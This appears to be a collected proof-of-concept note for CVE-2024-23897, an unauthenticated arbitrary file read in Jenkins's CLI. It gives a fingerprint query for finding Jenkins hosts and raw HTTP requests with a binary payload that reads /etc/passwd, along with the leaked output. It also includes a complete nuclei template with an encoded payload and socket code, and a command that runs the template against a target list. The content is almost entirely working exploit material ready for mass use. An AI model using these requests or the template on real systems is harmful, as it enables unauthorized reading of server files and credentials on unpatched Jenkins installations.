CVE-2024-23897

header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols"

https://www.youtube.com/watch?v=UdsjR-pt5uw&t=492s

POST /cli?remoting=false HTTP/1.1Host:Content-type: application/octet-streamSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92Side: uploadConnection: keep-aliveContent-Length: 163b'x00x00x00x06x00x00x04helpx00x00x00x0ex00x00x0c@/etc/passwdx00x00x00x05x02x00x03GBKx00x00x00x07x01x00x05en_USx00x00x00x00x03'

POST /cli?remoting=false HTTP/1.1Host:Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92downloadContent-Type: application/x-www-form-urlencodedContent-Length: 0

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinjava -jar jenkins-cli.jar help [COMMAND]Lists all the available commands or a detailed description of single command. COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

id: CVE-2024-23897info:  name: Jenkins < 2.441 - Arbitrary File Read  author: iamnoooob,rootxharsh,pdresearch  severity: critical  description: |    Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.  reference:    - https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314    - https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/  metadata:    verified: true    shodan-query: product:"Jenkins"    product: jenkins    vendor: jenkins  tags: cve,cve2024,lfi,rce,jenkinsvariables:  payload: "{{hex_decode('0000000e00000c636f6e6e6563742d6e6f64650000000e00000c402f6574632f706173737764000000070200055554462d3800000007010005656e5f41450000000003')}}"javascript:  - code: |      let m = require('nuclei/net');      let name=(Host.includes(':') ? Host : Host+":80");      let conn,conn2;      try { conn = m.OpenTLS('tcp', name) } catch { conn=  m.Open('tcp', name)}      conn.Send('POST /cli?remoting=false HTTP/1.1rnHost:'+Host+'rnSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92rnSide: downloadrnContent-Type: application/x-www-form-urlencodedrnContent-Length: 0rnrn');      try { conn2 = m.OpenTLS('tcp', name) } catch { conn2=  m.Open('tcp', name)}      conn2.Send('POST /cli?remoting=false HTTP/1.1rnHost:'+Host+'rnContent-type: application/octet-streamrnSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92rnSide: uploadrnConnection: keep-alivernContent-Length: 163rnrn'+Body)      resp = conn.RecvString(1000)    args:      Body: "{{payload}}"      Host: "{{Hostname}}"    matchers:      - type: dsl        dsl:          - 'contains(response, "No such agent "")'    extractors:      - type: regex        group: 1        regex:          - 'b([a-z_][a-z0-9_-]{0,31}):x:'# digest: 4a0a0047304502202b2e82af6bbcaeab99c7fbc77eb54ae1ca27cb09ab6cec546d637b796940ee03022100b541c0a1bbd2daf0fedfbc957740578d5503a69375de87f40eeceaa3ca7690d9:922c64590222798bb761d5b6d8e72950

nuclei.exe -l data/jenkins.txt -t mypoc/cve/CVE-2024-23897.yaml